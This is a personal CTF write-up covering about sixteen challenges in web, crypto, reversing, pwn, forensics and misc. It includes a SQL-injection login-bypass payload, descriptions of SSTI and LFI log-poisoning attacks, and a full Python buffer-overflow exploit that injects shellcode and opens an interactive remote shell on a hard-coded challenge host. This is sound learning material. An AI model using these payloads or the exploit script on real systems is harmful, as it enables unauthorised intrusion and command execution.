Synack Red Team 5 CTF was (iirc) my third CTF, and the first in which I actually managed to score some decent points. It’s a jeopardy-styled CTF featuring 6 categories (web, pwn, crypto, forensics, misc, and reversing). I managed to solve 16 out of the 25 total challenges, solving at least one challenge in each category. My strongest category was web, in which I solved 5 out of 6 challenges. I eventually finished 46th out of 333 participants, which was narrowly within my target of top 50, and for that I am happy :)
Web
SimPlay
This was a web challenge with downloadable source code. Going through the source files, the file TimeModel.php was found to be making a call to eval() using user-controlled data that was passed to it by TimeController.php


I exploited this to identify, and read the flag;


PotentQuotes
This challenge featured a login form asking for username and password. The username field was vulnerable to SQL Injection, and authentication was bypassed using the payload admin' or 1=1-- -.
BoneChewerCone
The website in this challenge was vulnerable to Server Side Template Injection (SSTI). The flag was found in the output of config.items()

IMF - Landing
This was a fun web challenge that features Local File Inclusion (LFI) vulnerability in the website served by Nginx. It was a PHP site, and I was able to gain code execution by chaining the LFI with log poisoning to execute PHP payloads;




IMF - The Search
The website in this challenge had a feature that allowed users to search for “agents”. It was NodeJS application, and it’s vulnerable to Server Side Template Injection (SSTI) using the pug engine;

Using some node tutorials to execute shell commands, I was able to craft a payload to execute a shell command on the host, but I could not get it to return any output. Attempts to redirect output to local files so I can read it using GET requests were unsuccessful as the server appeared to be only allowing requests to paths with existing mappings.
I was eventually able to read output by overwriting the site’s logo, and then viewing it using curl;




Crypto
Weak RSA
This is a downloadable challenge that provide a public key, and an encrypted message. Using the program https://github.com/Ganapati/RsaCtfTool, and openssl, I was able to decrypt the message after recovering the private key;


Reversing
Access
This was a simple reversing challenge that I solved by patching the binary using cutter, forcing it to continuously execute the block of code that compares user input to the hidden key, which I extracted one character at a time;


Check
This challenge provides a binary that compares user input to a value. I was able to solve this by setting a breakpoint where the comparison was carried out, and dumping the data at the memory location using radare2;

Split
The binary in this challenge tests user input against an encrypted string. The encrypted string is decrypted just before the comparison was made, and I was able to dump it by setting a breakpoint at the location;

Pwn
Injection
This challenge provides a downloadable binary and a TCP service through which the program can be accessed using tools like netcat. The downloaded binary gives an address during interaction with user, which was found to be the address of a buffer used to store user input without checking size, leading to buffer overflow;

So I crafted an exploit in python that inject shellcode in the input buffer, and used the given address to overwrite the instruction pointer;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3
from time import sleep
import socket
from binascii import unhexlify
shellcode = open("dash.bin", "rb").read() # A 64-bit /bin/sh shellcode
padding = ("A" * 18).encode()
conn = socket.socket()
conn.connect(('46.101.21.240', 31877))
print(conn.recv(1024))
conn.send("1\n".encode()) # Select the first option
# Extract the memory address
data = str(conn.recv(1024))
addr = data.split("[")[1].split("]")[0]
addr = addr[2:]
print(addr)
rip = unhexlify(addr)[::-1]
print("%r" %(rip))
# The final payload
payload = shellcode + padding + rip
conn.send(payload)
# Interactive shell for user commands.
sleep(1)
print(conn.recv(9999))
while True:
command = input("Input > ")
if command:
command += "\n"
conn.send(command.encode())
print(conn.recv(1024))
The above code gave me an interactive command shell on the box;

Forensics
Sneaky
This was a very easy forensics challenge on a .pcap file. Going through the file in wireshark showed a POST request containing the flag;

Top Secret
This challenge featured packet analysis on a .pcap file captured during an FTP transfer of a PDF file. The PDF was extracted using wureshark, and it’s MD5 hash was the flag;

Endurance Run
This challenge provides a windows registry file NTUSER.DAT obtained from a hacked computer. Using hivexsh, I was able to locate the flag in the registry, which wasn’t easy because hivexsh has no search feature or even tab auto-complete. I had to used hivexml to convert the whole registry file to an XML, which I then opened on a browser and used the “find” function to locate possible flags. I then used windows cmd prompt running on wine to decode the flag;

Phishin Impossible
This challenge provides .pdf file that was found to contain an embedded file named secret_info.SettingContent-ms. The file was extracted, and found to contain the flag, which had to be joined from fragments in the powershell command;

Misc
Blobber
This challenge provides an obfuscated JavaScript file message.js, that uses String.fromCharCode() to load another JavaScript code. The other JavaScript code has a variable named file that was set to a base64-encoded string. Decoding the string, I got a PDF file that contained the flag;

ConText
This challenge provides an obfuscated JavaScript file. It uses a lookup table to decode strings used to reference other things, which I was able to decode using the JS console in Firefox. The JavaScript has a function named flag() that takes a signle string argument, which must be the ID of a 2D canvas in the current page. It uses the canvas to draw an image, which contains the flag for the challenge;

So I setup a basic HTML page that loads the script and create a canvas, the ID of which I used to call flag() in the JS console;

